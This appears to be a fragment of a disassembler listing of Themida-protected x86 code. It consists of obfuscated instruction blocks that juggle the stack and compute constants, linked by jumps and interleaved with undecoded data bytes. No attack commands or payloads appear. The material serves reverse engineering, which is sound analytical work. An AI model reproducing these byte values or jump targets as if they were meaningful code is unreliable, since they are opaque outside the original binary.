; ---------------------------------------------------------------------------


loc_56447F:				; CODE XREF: Themida_:00552A43j
		pop	esp
		add	ebp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	esi
		push	1EC6h
		jmp	loc_55D6BA
; ---------------------------------------------------------------------------
		db 0B9h
		dd 371D2CF3h, 8141D1F7h, 6342A0E1h, 63D5E939h, 44E9FFFFh
		dd 81FFFEBAh, 781F0FC7h, 8924E936h, 835AFFFFh, 0A66804C7h
		dd 89000024h, 74FF243Ch, 3C8B0424h, 4C48124h, 8F000000h
		dd 0E95C2404h, 0FFFEBA17h
; ---------------------------------------------------------------------------


loc_564500:				; CODE XREF: Themida_:00551E5Ej
		mov	ebp, esi
		pop	esi
		sub	esi, ebp
		pop	ebp
		sub	esi, edi
		add	esi, 66452CE0h
		push	edx
		mov	edx, 11DD693Eh
		inc	edx
		inc	edx
		sub	edx, 0A06927BAh
		sub	esi, edx
		pop	edx
		jmp	loc_5628E9
; ---------------------------------------------------------------------------
		dd 0EB81C301h, 22CC3362h, 6295EB81h, 5551473Bh,	8811E5BDh
		dd 9752E925h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56453E:				; CODE XREF: Themida_:00562310j
		add	esi, edi
		sub	esi, 725E4CA5h
		sub	esi, 1FA63552h
		jmp	loc_56324C
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
		dd 0FFCADFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564559:				; CODE XREF: Themida_:0055658Aj
		push	eax
		push	esi
		mov	esi, 17C00B33h
		push	esi
		mov	esi, 5D107531h
		mov	eax, 0F44C15A3h
		add	eax, esi
		jmp	loc_550D57
; ---------------------------------------------------------------------------


loc_564572:				; CODE XREF: Themida_:00555CCBj
		push	esp
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 4E51783h
		neg	ebp
		sub	ebp, 0FB1AE879h
		add	eax, ebp
		pop	ebp
		push	50DBh
		mov	[esp], edx
		mov	edx, 4
		add	eax, edx
		pop	edx
		xchg	eax, [esp]
		jmp	loc_55161F
; ---------------------------------------------------------------------------
		db 80h,	0F4h, 0A1h
		dd 5BE9E328h, 1FFFFB9h,	0F1EB81F3h, 81121805h, 0E36AADEBh
		dd 2434FF71h, 4C4835Eh,	3BE268h, 242C8900h, 2BDh, 4FC38100h
		dd 135FB46h, 4FEB81EBh,	0E935FB46h, 0FFFEF958h
; ---------------------------------------------------------------------------


loc_5645E4:				; CODE XREF: Themida_:00558558j
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		push	6379h
		mov	[esp], eax
		push	3239136Ch
		mov	eax, [esp]
		jmp	loc_55ABC0
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 8B2434FFh, 0C483241Ch, 4C48104h, 58000000h, 224D3A2Dh
		dd 5D82974h, 74224D3Ah,	0E92434FFh, 0FFFEC86Ch
; ---------------------------------------------------------------------------


loc_56462C:				; CODE XREF: Themida_:00554E12j
		shl	ch, 8
		xor	ch, 0F7h
		mov	dl, ch
		mov	ecx, [esp]
		add	esp, 4
		xor	al, dl
		jmp	loc_55DA56
; ---------------------------------------------------------------------------
		dd 0A81BD1BAh, 0BF6FE949h, 0C683FFFEh, 24348704h, 10E95E5Ch
		dd 5CFFFEFDh, 88DE8852h, 1C8B5AF5h, 4C48324h, 0E924048Bh
		dd 0FFFF15E5h, 81241C89h, 4ECh,	24248900h, 4240481h, 5B000000h
		dd 37D768h, 243C8900h, 0FF8D53E9h, 4E7868FFh, 34890000h
		dd 11BF5724h, 89431233h, 0A9E95FFEh
		db 78h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5646A7:				; CODE XREF: Themida_:00559B2Fj
		jnz	loc_561A8E
		push	edx
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 63F26A96h
		shr	edi, 8
		shr	edi, 2
		xor	edi, 359A240Dh
		xor	edi, 3582D893h
		add	ebp, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_55CBB0
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0BFBF5700h, 517DC248h,	0FEE5C6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5646E9:				; CODE XREF: Themida_:0055CB52j
		mov	esi, ebx
		jmp	loc_56482F
; ---------------------------------------------------------------------------


loc_5646F0:				; CODE XREF: Themida_:00561B08j
		sub	bl, al
		sub	bl, 0C8h
		push	eax
		jmp	loc_555653
; ---------------------------------------------------------------------------
		db 31h
		dd 0D6015DEAh, 0BBBF575Ah, 4F592170h, 70BEF781h, 0FE015921h
		dd 83243C8Bh, 348704C4h, 0D985E924h, 1489FFFEh,	275EBA24h
		dd 9E978A8h, 89FFFFE8h,	4C781E7h, 81000000h, 4EFh, 243C8700h
		dd 2434895Ch, 663168h, 24048900h, 9B6388B8h, 98C0D0Dh
		dd 0E8C11E6Bh, 0DB5D3505h, 0DEE900FFh
		db 0E6h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56475F:				; CODE XREF: Themida_:0055A6F3j
		add	eax, esi
		pop	esi
		push	edx
		push	ebp
		mov	ebp, 222F31A2h
		jmp	loc_5578B5
; ---------------------------------------------------------------------------
		dw 535Ah
		dd 0FF140DE9h, 5AEB81FFh, 0E92E4663h, 0FFFF903Ch, 8B2434FFh
		dd 0C4832404h, 4C48304h, 4D43E955h, 34FFFFFFh, 0C4835824h
		dd 2434FF04h, 38186858h, 3C890000h, 0E9545024h,	0FFFF1C99h
		dd 8304E9C1h, 2C8904ECh, 857BD24h, 0C7687C9Dh, 8900001Fh
		dd 0A68243Ch, 8B059402h, 0C483243Ch, 0E9FD0904h, 0FFFF37A4h
		dd 0E9242C31h, 0FFFFD70Ah, 0C106E0C1h, 0EC8304E0h, 241C8904h
		dd 0FF1757E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5647ED:				; CODE XREF: Themida_:0055FFB1j
		pop	edi
		add	edx, eax
		mov	eax, [esp]
		add	esp, 4
		add	edx, eax
		jmp	loc_550C23
; ---------------------------------------------------------------------------
		db 0F7h, 0D0h, 56h
		dd 144C9FBEh, 53DEF73Ch, 157408BBh, 0E9D3F76Eh,	0FFFF61FFh
; ---------------------------------------------------------------------------


loc_564814:				; CODE XREF: Themida_:005634F4j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_55D42C
; ---------------------------------------------------------------------------
		db 87h
		dd 0FE9240Ch
		db 98h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56482F:				; CODE XREF: Themida_:005646EBj
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		push	edi
		jmp	loc_55D738
; ---------------------------------------------------------------------------


loc_56483F:				; CODE XREF: Themida_:005500AFj
		push	4AEBh
		mov	[esp], edx
		mov	dh, bh
		push	ecx
		push	eax
		mov	ah, dh
		push	edx
		mov	dh, ah
		jmp	loc_55F046
; ---------------------------------------------------------------------------


loc_564855:				; CODE XREF: Themida_:0055455Fj
		push	dword ptr [esp]
		pop	ebp
		sub	esp, 4
		mov	[esp], eax
		push	esp
		mov	eax, [esp]
		sub	esp, 4
		jmp	loc_55D338
; ---------------------------------------------------------------------------


loc_564871:				; CODE XREF: Themida_:005570FFj
		sub	ebx, 3CD941EBh
		xor	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		and	eax, esi
		pop	esi
		or	eax, eax
		jmp	loc_553AFA
; ---------------------------------------------------------------------------
		db 5Ah,	0E9h, 72h
		dd 66FFFFC7h, 66C8B60Fh, 7CE99C51h, 81FFFEB6h, 715474F6h
		dd 0DBE9465Dh, 53FFFF78h, 0FFF4EAE9h
		db 0FFh
byte_5648AD	db 66h,	8Bh, 4		; DATA XREF: Themida_:0054FC78o
		dd 4EC8324h, 0FF340EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5648B9:				; CODE XREF: Themida_:005586F9j
		mov	ebp, esp
		push	ecx
		mov	ecx, 298A0FEFh
		inc	ecx
		shl	ecx, 6
		push	ebx
		jmp	loc_55A04F
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0D3F704E3h, 4087F381h, 0F3814601h, 39C312DEh, 895BDD29h
		dd 0C2015DEAh, 1FCD6858h, 4890000h, 0FFFFB824h,	0C201FFFFh
		dd 8324048Bh, 246804C4h, 89000070h, 92E9242Ch
		db 0E3h, 0FEh, 0FFh
byte_564907	db 66h			; DATA XREF: Themida_:0054FD30o
		dd 663EC768h, 51241C89h, 5350C588h, 8852EF88h, 5AF488FEh
		dd 0FF3D21E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564921:				; CODE XREF: Themida_:00552971j
		add	ebx, edi
		add	ebx, 4E973EB2h
		jmp	loc_55D142
; ---------------------------------------------------------------------------


loc_56492E:				; CODE XREF: Themida_:00564EECj
		inc	edi
		push	ebp
		mov	ebp, 75226F2Ah
		jmp	loc_55FE41
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 6931034Dh, 784BC281h, 0DA01011Fh, 784BEA81h,	0EA81011Fh
		dd 6931034Dh, 2414875Bh, 6824248Bh, 2391h, 89240C89h, 4C181E1h
		dd 83000000h, 0C8704C1h, 0CC74E924h, 74FFFFFFh,	0F7E90424h
		dd 29FFFFCCh, 242C8BE9h, 104C483h, 0D50159CDh, 703FED81h
		dd 0E95A1C1Fh, 0FFFF5A83h
; ---------------------------------------------------------------------------


loc_564998:				; CODE XREF: Themida_:0055558Dj
		xchg	eax, esi
		jmp	loc_558E84
; ---------------------------------------------------------------------------
		dw 0D5F6h
		dd 0C8BEF88h, 4C48324h,	0FEBEC8E9h, 0FFF031FFh,	525E2434h
		dd 0BE56E289h, 4, 835EF201h, 148704C2h,	24248B24h, 4EC81h
		dd 2C890000h, 109BBD24h, 0ED814BB0h, 5AD545FCh,	8107E5C1h
		dd 965F70CDh, 45CD812Bh, 8113356Ch, 53A721C5h, 8BEB01B1h
		dd 0C483242Ch, 26C38104h, 2927313Ch, 26EB81C3h,	5727313Ch
		dd 2716BE56h, 8950314Bh, 0E9C789F0h, 0FFFFC003h, 0D6E9F189h
		dd 0DFFFFDEh, 69C75E29h, 5707E8C1h, 7C5F25BFh, 0E9F80971h
		dd 0FFFFC1D4h, 4307EBC1h, 739DE381h, 0F3812743h, 46CC5B04h
		dd 0FFE256E9h, 4EF83FFh, 8B243C87h, 54E92424h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564A57:				; CODE XREF: Themida_:0055CB15j
		add	ecx, 4
		jmp	loc_552E9C
; ---------------------------------------------------------------------------
		dw 0B3BFh
		dd 0E931195Ch, 0FFFF42CAh, 4BF57h, 0F9010000h, 81243C8Bh
		dd 4C4h, 240C8700h, 3124248Bh, 874CE9F0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564A8A:				; CODE XREF: Themida_:00564332j
		not	edx
		shl	edx, 1
		jmp	loc_558B89
; ---------------------------------------------------------------------------
		db 0BFh
		dd 4, 0FFF575E9h
		db 0FFh
byte_564A9D	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0054FC50o
		dd 0EC815124h, 4, 0FF7D39E9h, 5EF229FFh, 31241433h, 14332414h
		dd 0C895C24h, 0B455E924h, 0B353FFFEh, 8BD988B2h, 0C483241Ch
		dd 66CA0004h, 0F244E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564AD6:				; CODE XREF: Themida_:00552CD9j
		xor	ebx, 43734375h
		sub	ebx, 0E9D2DDCh
		jmp	loc_5530C9
; ---------------------------------------------------------------------------


loc_564AE7:				; CODE XREF: Themida_:0055346Ej
		mov	ebp, esp
		jmp	loc_550973
; ---------------------------------------------------------------------------


loc_564AEE:				; CODE XREF: Themida_:0055ED86j
		mov	[esp], ecx
		jmp	loc_551807
; ---------------------------------------------------------------------------
		dw 1C31h
		dd 241C3324h, 8B24248Bh, 2682404h, 8900004Ah, 0E6892434h
		dd 5E08950h, 4,	0FFE1A0E9h, 0E95D58FFh,	17Ah, 148BF708h
		dd 0E3895324h, 4C381h, 0C3830000h, 241C8704h, 33B0505Ch
		dd 2004642Ch, 0C8FEF32Ch, 0C728442Ch, 1CE95058h, 29FFFEE3h
		dd 0FFD089C2h, 835A2434h, 7E0504C4h, 812274D9h,	0F92E06EBh
		dd 0E9C3290Dh, 0FFFEFD12h
; ---------------------------------------------------------------------------


loc_564B68:				; CODE XREF: Themida_:0055F09Fj
		mov	[esp], eax
		push	ebx
		jmp	loc_55CF2F
; ---------------------------------------------------------------------------


loc_564B71:				; CODE XREF: Themida_:0055FA53j
		push	4489h
		mov	[esp], edx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_558780
; ---------------------------------------------------------------------------


loc_564B85:				; CODE XREF: Themida_:0055E7F3j
		xor	dl, 4Ch
		sub	dl, 48h
		jmp	loc_55D43E
; ---------------------------------------------------------------------------


loc_564B90:				; CODE XREF: Themida_:0055280Fj
		xchg	ebx, [esp]
		jmp	loc_550590
; ---------------------------------------------------------------------------
		dd 4C281h, 89560000h, 4C681E6h,	81000000h, 4EEh, 24348700h
		dd 240C895Ch, 4038BB53h, 0F0E95613h
		db 0F2h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_564BBF:				; CODE XREF: Themida_:0055FD78j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55EF6A
; ---------------------------------------------------------------------------
		db 5Dh,	5Bh, 0E9h
		dd 0FFFF94E2h, 0E9243489h, 0FFFF6B75h
; ---------------------------------------------------------------------------


loc_564BDC:				; CODE XREF: Themida_:005562B3j
		mov	edx, 4
		add	esi, edx
		jmp	loc_565320
; ---------------------------------------------------------------------------
		dd 2404875Bh, 1D39E95Ch, 0C281FFFFh, 4,	0FEEEC8E9h, 0E9DE89FFh
		dd 0FFFECF59h, 8B241433h, 3CD32424h, 4E99C24h, 81FFFEB3h
		dd 4ECh, 243C8900h, 441C68BFh, 0EF814763h, 9F70FE82h, 51EAE981h
		dd 0F92939BCh, 51EAC181h, 0E95F39BCh, 0FFFFB996h, 348BF501h
		dd 0E0B5E924h, 0C89FFFEh, 4B85024h, 56000000h, 0F189C689h
		dd 8124348Bh, 4C4h, 24048B00h, 4C481h, 0D0E90000h, 80FFFFA1h
		dd 0EF8042C7h, 50CF002Fh, 61E9A5B4h, 2DFFFF54h,	6BC64850h
		dd 5005F829h, 5F6BC648h, 0FFEDD5E9h
		db 0FFh
byte_564C8D	db 8Fh,	2, 0E9h		; DATA XREF: Themida_:0054FCFCo
		dd 0FFFEB283h
; ---------------------------------------------------------------------------


loc_564C94:				; CODE XREF: Themida_:0055D288j
		pop	ebp
		jmp	loc_556D90
; ---------------------------------------------------------------------------
		dw 0D0F7h
		dd 6FB5972Dh, 6999E972h, 6857FFFFh, 200654BFh, 87F7815Fh
		dd 89F010F8h, 7AE95FFEh
		db 4Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564CBB:				; CODE XREF: Themida_:0055FBF1j
		xor	dl, 0B4h
		and	dl, 2
		jmp	loc_561AFF
; ---------------------------------------------------------------------------
		dw 15Ah
		dd 72C681FEh, 5F17AB05h, 0E92434FFh, 0FFFF1BD6h
; ---------------------------------------------------------------------------


loc_564CD8:				; CODE XREF: Themida_:005640DDj
		push	ebx
		push	edx
		push	0C1A060Ah
		mov	edx, [esp]
		jmp	loc_550C2E
; ---------------------------------------------------------------------------
		db 0BDh
		dd 4, 795CBD55h, 7AE91BD4h, 88FFFF5Eh, 5AF088DEh, 0FFC96BE9h
		dd 0C181FFh, 0FF414C0Ch, 0E95D2434h, 0FFFF5354h, 405h
		dd 42D00h, 4330000h, 9CFDE924h,	3368FFFFh, 89000026h, 0E6892434h
		dd 0C5D68h, 0E94CE900h,	0E987FFFFh, 3A58BB53h, 0D9312637h
		dd 0E9241C8Bh, 0FFFEDD3Eh, 83241C89h, 48904ECh,	6B77B824h
		dd 8FE94C20h
		db 0Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564D5B:				; CODE XREF: Themida_:0055544Bj
		push	72F9h
		mov	[esp], ebx
		mov	bh, cl
		mov	al, bh
		pop	ebx
		mov	ecx, [esp]
		jmp	loc_55FCB7
; ---------------------------------------------------------------------------
		dd 4C481h, 0BB530000h, 19DB431Fh, 0E087EB81h, 0DE21C86Ch
		dd 3E6C15Bh, 10C2F681h,	0BF578950h, 751D30AEh, 1063CF81h
		dd 7EE91E4Ah, 89FFFEF3h, 0F1BB241Ch, 4B5DA56Ch,	6246BF57h
		dd 0E7811299h, 70E46B26h, 5702EFC1h, 5F241CF7h,	240CFF57h
		dd 0DEF815Fh, 8149B36Fh, 0EB6196F7h, 5FFB29CFh,	0FFB408E9h
		dd 5DE801FFh, 0FEBCD0E9h, 585450FFh, 4BD55h, 0E8010000h
		dd 0FFAC9CE9h, 876BEFFh, 0E9504566h, 0FFFF90F8h, 22E0C981h
		dd 0E9816C1Ch, 1FE1984Eh, 2D59C829h, 66F04C23h,	0E924148Bh
		dd 0FFFFB796h, 81E78957h, 4C7h,	4C78100h, 87000000h, 0FF5C243Ch
		dd 0E9592434h, 0FFFFEFF0h
; ---------------------------------------------------------------------------


loc_564E30:				; CODE XREF: Themida_:0055490Cj
		mov	eax, esi
		pop	esi
		xchg	eax, edi
		jmp	loc_553E7B
; ---------------------------------------------------------------------------
		db 0BAh, 4, 0
		dd 37680000h, 8900004Eh, 0BDBF243Ch, 2931782Bh,	0D3015FFBh
		dd 2BBDC381h, 34FF3178h, 24148B24h, 4C481h, 0E9530000h
		dd 0FFFF351Bh
; ---------------------------------------------------------------------------


loc_564E68:				; CODE XREF: Themida_:00562939j
		add	esp, 4
		push	5789h
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	edi
		mov	edi, 4
		add	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebp
		push	edx
		push	7C233E45h
		pop	edx
		jmp	loc_55F47B
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0B85006EFh, 78283E35h, 18E9E8D1h
		db 5Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564EAF:				; CODE XREF: Themida_:00552848j
		shr	ebp, 8
		shl	ebp, 7
		xor	ebp, 530647DAh
		neg	ebp
		shr	ebp, 2
		jmp	loc_55576B
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
		dd 4C481h, 0D8E90000h, 0E9FFFEE0h, 0FFFEB03Fh
; ---------------------------------------------------------------------------


loc_564ED8:				; CODE XREF: Themida_:0056441Fj
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_55DC69
; ---------------------------------------------------------------------------
		dd 0DEE95456h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564EEB:				; CODE XREF: Themida_:00554154j
		pop	edx
		jmp	loc_56492E
; ---------------------------------------------------------------------------
		db 42h,	68h, 8Fh
		dd 89000014h, 0E9552434h, 0FFFED762h
; ---------------------------------------------------------------------------


loc_564F00:				; CODE XREF: Themida_:00562A83j
		sub	ecx, edx
		sub	ecx, 7AF64467h
		pop	edx
		xor	ecx, [esp]
		jmp	loc_55967D
; ---------------------------------------------------------------------------
		db 5Fh,	0F7h, 0D7h
		dd 0FF5639E9h, 31D5F7FFh, 0E9CD31E9h, 0FFFF26A3h, 4EC81h
		dd 1C890000h, 2474FF24h, 88F2E904h, 0E981FFFFh,	69DE594Ah
		dd 0E9241C8Bh, 0FFFF0762h, 0EE81C601h, 58AB16D8h, 0BB85055h
		dd 0C1418440h, 13E903E8h, 81FFFF67h, 4C4h, 1C8B5A00h, 5DE8E924h
		dd 0C181FFFFh, 225F0DA1h, 0FEFA0DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564F75:				; CODE XREF: Themida_:005605CDj
		add	ebp, 2D6E6AFEh
		sub	ebp, 3EE4AC55h
		jmp	loc_55DD89
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 4, 8904EC83h, 4BA2414h, 0E9000000h, 0FFFF4CECh
; ---------------------------------------------------------------------------


loc_564F9C:				; CODE XREF: Themida_:0055FCC6j
		xchg	edi, [esp]
		jmp	loc_554782
; ---------------------------------------------------------------------------


loc_564FA4:				; CODE XREF: Themida_:005565D3j
		add	ebp, 0D7842C1h
		not	ebp
		and	ebp, 2DAD0480h
		inc	ebp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 79CA6EBAh
		jmp	loc_554207
; ---------------------------------------------------------------------------
		dw 0E781h
		dd 1EBA6FA7h, 2D64C781h, 0FE89370Ch, 7E6C15Fh, 6987EE81h
		dd 0B850032Fh, 0F24652F9h, 8958C631h, 9BE95EF0h, 0D1FFFF80h
		dd 3E0C1E8h, 316D082Dh,	12D16h,	0E0C10000h, 0DC07E904h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_565006:				; CODE XREF: Themida_:00556030j
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		and	[esp], eax
		pushf
		jmp	loc_54FF17
; ---------------------------------------------------------------------------


loc_565014:				; CODE XREF: Themida_:00555974j
		pop	esp
		push	1CDDh
		mov	[esp], edi
		add	dword ptr [esp], 0A7B3CB1h
		jmp	loc_555CBF
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 0F0h
		dd 8B1EBC3Eh, 0C481243Ch, 4, 279E68h, 0B7C8E900h, 2C89FFFEh
		dd 84BD24h, 0DDF73F90h,	8101C583h, 8A6FA0EDh, 0D2EFE940h
		dd 0E953FFFFh, 0FFFFB7DBh
; ---------------------------------------------------------------------------


loc_565060:				; CODE XREF: Themida_:0055BEC7j
		sub	edi, 935369B3h
		mov	edx, edi
		mov	edi, [esp]
		add	esp, 4
		dec	edx
		not	edx
		neg	edx
		add	edx, 38E8E462h
		sub	esp, 4
		jmp	loc_55824F
; ---------------------------------------------------------------------------


loc_565087:				; CODE XREF: Themida_:005530AEj
		pop	esp
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_55148A
; ---------------------------------------------------------------------------
		db 50h,	0E9h, 8Fh
		dd 0F7FFFF11h, 36F681DEh, 1E22093h, 4335EF0h, 24043124h
		dd 0E9240433h, 19Dh, 6FE9E089h,	0FFFECDh, 24148BF0h, 815B5453h
		dd 4C3h, 4C38300h, 31241C33h, 1C33241Ch, 68665C24h, 89665AA3h
		dd 7368241Ch, 89000072h, 0D0E9240Ch
		db 0BFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5650EB:				; CODE XREF: Themida_:0055C16Cj
		add	eax, edx
		mov	edx, [esp]
		add	esp, 4
		xchg	eax, [esp]
		pop	esp
		push	edx
		sub	esp, 4
		mov	[esp], esp
		push	edx
		jmp	loc_552125
; ---------------------------------------------------------------------------


loc_565107:				; CODE XREF: Themida_:0055AE2Fj
		not	edx
		inc	edx
		add	edx, 1FC765D1h
		xchg	eax, edx
		jmp	loc_559DCF
; ---------------------------------------------------------------------------
		dw 0E1B9h
		dd 29194150h, 240C8BC8h, 0E904C483h, 0FFFF5497h, 24348151h
		dd 6C9B30DBh, 0DBF2815Ah, 8B6C9B30h, 4FE9240Ch,	81FFFF71h
		dd 4F605AEDh, 1C6F095Dh, 0ADC9E95Dh, 0ED80FFFEh, 0F3E95B0Ch
		db 0CBh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_565157:				; CODE XREF: Themida_:00554747j
		xchg	eax, [esp]
		push	eax
		not	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_563396
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 55EF6800h, 34890000h, 8E8EE924h, 868FFFFh, 8900007Bh
		dd 0E2892414h, 46851h, 0E9590000h, 0FFFFB93Eh, 68241C89h
		dd 2B3h, 68243489h, 122B50B4h, 0E924348Bh, 0FFFF8F8Eh
		dd 0F617EA80h, 0BA3DE9DAh, 6657FFFFh, 662270BFh, 34FFF889h
		dd 1AE95F24h, 57FFFF50h, 7075A9BFh, 0A580BA48h,	0FA011219h
		dd 0FF1CF5E9h, 53E95BFFh, 8BFFFF77h, 0C483241Ch, 74FF5204h
		dd 8F5A0424h, 895C2404h, 93E9240Ch, 81FFFFC0h, 0A511FCEBh
		dd 0E9DBF763h, 0FFFF9355h, 592434FFh, 4C481h, 55560000h
		dd 56580568h, 0DDF75D79h, 0ABE5814Dh, 810EBA6Bh, 0ADF25DC5h
		dd 5DEE89FDh, 17E9F029h
		db 0B2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565233:				; CODE XREF: Themida_:0055D8CAj
		mov	[esp], esp
		jmp	loc_5587EB
; ---------------------------------------------------------------------------
		db 68h
		dd 4, 0FF9367E9h, 9DEA81FFh, 5F6D867Ch,	0FFA791E9h, 24248BFFh
		dd 0F5BA5257h, 686E8A19h, 6A1h,	0B9240C89h, 0A0F9F6DEh
		dd 0FF1AC3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56526D:				; CODE XREF: Themida_:00561575j
		mov	ecx, ebx
		pop	ebx
		push	edx
		mov	edx, 0
		jmp	loc_550B92
; ---------------------------------------------------------------------------


loc_56527B:				; CODE XREF: Themida_:00556981j
		add	edx, 4
		sub	edx, 4
		jmp	loc_563E31
; ---------------------------------------------------------------------------


loc_565289:				; CODE XREF: Themida_:0055E9D7j
		push	ebx
		mov	ebx, 0
		sub	ebx, ebp
		mov	ebp, ebx
		pop	ebx
		push	esi
		mov	esi, 4CED116Ch
		xor	esi, 406674C1h
		sub	esi, 581D63BBh
		add	esi, 0A3A4267Bh
		and	ebp, esi
		pop	esi
		and	ebp, 661D7375h
		or	ebp, 2B811850h
		sub	ebp, 2B913870h
		jmp	loc_55475E
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4, 8704EE83h, 895C2434h, 0BD55243Ch,	347176EDh, 1A1EA0BFh
		dd 5DEF310Ch, 4271E981h, 0F9012ABAh, 4271BB53h,	0E7E92ABAh
		dd 81FFFEC6h, 90276AC5h, 6EC5817Ah, 299EB8C0h, 0C3815DEBh
		dd 0E2AEFF22h, 315BD801h, 0E3C158C3h, 1E29E907h, 0E95DFFFFh
		dd 0FFFF9B47h
; ---------------------------------------------------------------------------


loc_565320:				; CODE XREF: Themida_:00564BE3j
		push	dword ptr [esp]
		jmp	loc_554AEA
; ---------------------------------------------------------------------------
		dd 0C781C701h, 612307Bh, 4EF8358h, 5C243C87h, 0E9242C89h
		dd 0FFFEE820h, 559DC781h, 0F70115DDh, 559DEF81h, 34FF15DDh
		dd 5632E924h, 148BFFFFh, 395DE924h, 0D701FFFFh,	4AEF815Ah
		dd 0FF335B55h, 835A2434h, 0EA8104C4h, 3ACE2813h, 0CFE9FA29h
		dd 89FFFFCCh, 74FF2414h, 148B0424h, 4C48124h, 8F000000h
		dd 895C2404h, 8951243Ch, 4C181E1h, 81000000h, 4E9h, 240C8700h
		dd 240C895Ch, 0FF0762E9h, 81E389FFh, 4C3h, 4EB8100h, 87000000h
		dd 0BFE9241Ch
		db 13h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5653C3:				; CODE XREF: Themida_:0054FF1Bj
		mov	ecx, esp
		push	edi
		mov	edi, 4
		add	ecx, edi
		pop	edi
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		push	ecx
		push	ebx
		push	edx
		mov	dl, 28h
		jmp	loc_555270
; ---------------------------------------------------------------------------


loc_5653E5:				; CODE XREF: Themida_:00558EE9j
		dec	eax
		xor	eax, 7545C323h
		add	ecx, eax
		pop	eax
		push	edi
		mov	edi, 6A6D6B6Ah
		sub	ecx, edi
		pop	edi
		push	edi
		jmp	loc_55B189
; ---------------------------------------------------------------------------
byte_5653FD	db 0ADh, 2Dh, 0D1h	; DATA XREF: Themida_:0054FD18o
		dd 530AF64Ah, 1C70EFBBh, 8BD82908h, 0C481241Ch,	4, 0FFD691E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565419:				; CODE XREF: Themida_:00560413j
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		mov	edx, 0ED77A3A0h
		sub	eax, 5CD504FAh
		sub	eax, edx
		add	eax, 5CD504FAh
		mov	edx, [esp]
		add	esp, 4
		and	ebp, eax
		pop	eax
		xor	ebp, 94B40B8h
		jmp	loc_551070
; ---------------------------------------------------------------------------


loc_565447:				; CODE XREF: Themida_:005539B7j
		add	cl, 0A5h
		sub	bl, cl
		mov	cx, [esp]
		add	esp, 2
		push	21E8h
		mov	[esp], ebx
		push	28D8h
		mov	[esp], ecx
		sub	esp, 4
		jmp	loc_56176B
; ---------------------------------------------------------------------------
		db 88h,	0DEh, 0E9h
		dd 0FFFF8F10h, 5EE9D821h, 57FFFFFDh, 42685156h,	0E9375E48h
		dd 0FFFFC09Ch, 4D91BE56h, 0CEE95F5Ch, 5DFFFF4Ch, 2289BB53h
		dd 0E9577407h, 0FFFF9332h, 0C181C129h, 577B49A6h, 8904EC83h
		dd 0BD552404h, 71026449h, 0FFD557E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5654BD:				; CODE XREF: Themida_:005582B1j
		xor	ebp, eax
		mov	eax, [esp]
		jmp	loc_550883
; ---------------------------------------------------------------------------
		db 50h
		dd 3F32CAB8h, 836DE945h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


